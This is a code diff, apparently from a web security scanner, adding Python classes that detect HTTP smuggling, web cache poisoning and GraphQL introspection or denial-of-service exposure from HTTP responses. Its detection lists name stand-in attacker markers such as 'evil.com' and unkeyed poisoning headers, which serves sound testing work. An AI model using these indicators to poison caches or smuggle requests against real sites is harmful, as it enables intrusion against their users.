|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for HTTP smuggling indicators"""
|
||||
headers_lower = {k.lower(): v for k, v in response_headers.items()}
|
||||
|
||||
# Response splitting - two HTTP responses in one
|
||||
if re.search(r"HTTP/\d\.\d\s+\d{3}", response_body):
|
||||
return True, 0.85, "HTTP smuggling: embedded HTTP response in body (response splitting)"
|
||||
|
||||
# Conflicting Content-Length and Transfer-Encoding
|
||||
has_cl = "content-length" in headers_lower
|
||||
has_te = "transfer-encoding" in headers_lower
|
||||
if has_cl and has_te:
|
||||
return True, 0.7, "HTTP smuggling: both Content-Length and Transfer-Encoding present"
|
||||
|
||||
# CL.TE or TE.CL desync indicators
|
||||
if context.get("desync_detected"):
|
||||
return True, 0.9, "HTTP smuggling: request desync confirmed"
|
||||
|
||||
# Unexpected response to smuggled second request
|
||||
if "smuggle_marker" in context:
|
||||
marker = context["smuggle_marker"]
|
||||
if marker in response_body:
|
||||
return True, 0.85, f"HTTP smuggling: smuggled request marker '{marker}' in response"
|
||||
|
||||
# Different status than expected (frontend vs backend disagreement)
|
||||
if context.get("expected_status") and response_status != context["expected_status"]:
|
||||
if response_status in [400, 403] and context["expected_status"] == 200:
|
||||
return True, 0.5, f"HTTP smuggling: status mismatch (expected {context['expected_status']}, got {response_status})"
|
||||
|
||||
# Timeout on second request (queued/poisoned)
|
||||
if context.get("second_request_timeout"):
|
||||
return True, 0.7, "HTTP smuggling: second request timed out (possible queue poisoning)"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
def check_timeout_vulnerability(self, vuln_type: str) -> bool:
|
||||
"""Smuggling can cause timeouts on subsequent requests"""
|
||||
return True
|
||||
|
||||
|
||||
class CachePoisoningTester(BaseTester):
|
||||
"""Tester for Web Cache Poisoning vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "cache_poisoning"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for cache poisoning - injected content served from cache"""
|
||||
headers_lower = {k.lower(): v for k, v in response_headers.items()}
|
||||
|
||||
# Check for cache hit with injected content
|
||||
cache_hit = False
|
||||
cache_headers = ["x-cache", "cf-cache-status", "x-varnish", "x-drupal-cache",
|
||||
"x-proxy-cache", "x-cdn-cache"]
|
||||
for header in cache_headers:
|
||||
value = headers_lower.get(header, "").lower()
|
||||
if "hit" in value:
|
||||
cache_hit = True
|
||||
break
|
||||
|
||||
# Age header indicates cached response
|
||||
age = headers_lower.get("age")
|
||||
if age and age != "0":
|
||||
cache_hit = True
|
||||
|
||||
if cache_hit:
|
||||
# Check if our injected content is in the cached response
|
||||
injection_markers = ["neurosploit", "xss", "evil.com", "attacker"]
|
||||
for marker in injection_markers:
|
||||
if marker in payload.lower() and marker in response_body.lower():
|
||||
return True, 0.9, f"Cache poisoning: injected content '{marker}' served from cache"
|
||||
|
||||
# Unkeyed header reflected in response (potential cache poison vector)
|
||||
unkeyed_headers = ["x-forwarded-host", "x-forwarded-scheme", "x-original-url",
|
||||
"x-rewrite-url", "x-forwarded-prefix"]
|
||||
for header in unkeyed_headers:
|
||||
if header in payload.lower():
|
||||
# Check if the value appears in response
|
||||
for marker in ["evil.com", "neurosploit", "attacker"]:
|
||||
if marker in payload.lower() and marker in response_body.lower():
|
||||
cache_status = "cached" if cache_hit else "uncached"
|
||||
confidence = 0.85 if cache_hit else 0.5
|
||||
return True, confidence, f"Cache poisoning: unkeyed header '{header}' reflected ({cache_status})"
|
||||
|
||||
# Cache deception check
|
||||
if context.get("is_cache_deception_test"):
|
||||
if cache_hit and ("token" in response_body.lower() or "session" in response_body.lower()):
|
||||
return True, 0.8, "Cache deception: sensitive data cached via path confusion"
|
||||
|
||||
return False, 0.0, None
|
||||
@@ -97,3 +97,115 @@ class CSRFTester(BaseTester):
|
||||
return True, 0.7, "No CSRF token found in form - possible CSRF"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class GraphqlIntrospectionTester(BaseTester):
|
||||
"""Tester for GraphQL Introspection exposure"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "graphql_introspection"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for __schema data in response indicating introspection is enabled"""
|
||||
if response_status == 200:
|
||||
# Direct __schema indicators
|
||||
schema_patterns = [
|
||||
r'"__schema"\s*:\s*\{',
|
||||
r'"__type"\s*:\s*\{',
|
||||
r'"queryType"\s*:\s*\{',
|
||||
r'"mutationType"\s*:\s*\{',
|
||||
r'"subscriptionType"\s*:',
|
||||
r'"types"\s*:\s*\[.*"name"\s*:\s*"__',
|
||||
r'"directives"\s*:\s*\[.*"name"\s*:',
|
||||
]
|
||||
|
||||
for pattern in schema_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE | re.DOTALL):
|
||||
return True, 0.9, "GraphQL introspection: Full schema exposed via __schema query"
|
||||
|
||||
# Check for type listings
|
||||
type_listing_patterns = [
|
||||
r'"kind"\s*:\s*"(?:OBJECT|SCALAR|ENUM|INPUT_OBJECT|INTERFACE|UNION)"',
|
||||
r'"fields"\s*:\s*\[.*"name"\s*:.*"type"\s*:',
|
||||
r'"inputFields"\s*:\s*\[',
|
||||
r'"enumValues"\s*:\s*\[',
|
||||
]
|
||||
|
||||
type_match_count = sum(
|
||||
1 for p in type_listing_patterns
|
||||
if re.search(p, response_body, re.IGNORECASE | re.DOTALL)
|
||||
)
|
||||
if type_match_count >= 2:
|
||||
return True, 0.85, "GraphQL introspection: Type schema data exposed"
|
||||
|
||||
# Check for field suggestions (partial introspection)
|
||||
if re.search(r'"(?:message|errors)".*"Did you mean.*"', response_body):
|
||||
return True, 0.6, "GraphQL introspection: Field suggestions leak schema information"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class GraphqlDosTester(BaseTester):
|
||||
"""Tester for GraphQL Denial of Service via deeply nested queries"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "graphql_dos"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for slow response with deeply nested queries indicating DoS potential"""
|
||||
# Check response time for nested query DoS
|
||||
response_time_ms = context.get("response_time_ms", 0)
|
||||
|
||||
# Nested query indicators in payload
|
||||
nesting_indicators = [
|
||||
payload.count("{") > 5,
|
||||
"__typename" in payload and payload.count("__typename") > 3,
|
||||
"fragment" in payload.lower() and "..." in payload,
|
||||
]
|
||||
is_nested_payload = any(nesting_indicators)
|
||||
|
||||
if is_nested_payload:
|
||||
# Very slow response indicates resource exhaustion
|
||||
if response_time_ms > 10000: # > 10 seconds
|
||||
return True, 0.85, f"GraphQL DoS: Deeply nested query caused {response_time_ms}ms response time"
|
||||
|
||||
if response_time_ms > 5000: # > 5 seconds
|
||||
return True, 0.7, f"GraphQL DoS: Nested query caused slow response ({response_time_ms}ms)"
|
||||
|
||||
# Check for timeout/error responses
|
||||
if response_status in [408, 504, 502]:
|
||||
if is_nested_payload:
|
||||
return True, 0.8, "GraphQL DoS: Server timeout on deeply nested query"
|
||||
|
||||
# Check for resource limit errors (server has some protection but confirms issue)
|
||||
resource_errors = [
|
||||
r"query.*(?:too complex|too deep|exceeds.*(?:depth|complexity))",
|
||||
r"max.*(?:depth|complexity).*(?:exceeded|reached)",
|
||||
r"(?:depth|complexity)\s+limit",
|
||||
r"query.*(?:cost|weight).*exceeded",
|
||||
]
|
||||
for pattern in resource_errors:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.5, "GraphQL DoS: Depth/complexity limits exist but confirm nested queries are processed"
|
||||
|
||||
# Server error on complex query
|
||||
if response_status == 500 and is_nested_payload:
|
||||
return True, 0.65, "GraphQL DoS: Server error on deeply nested query"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
Reference in New Issue
Block a user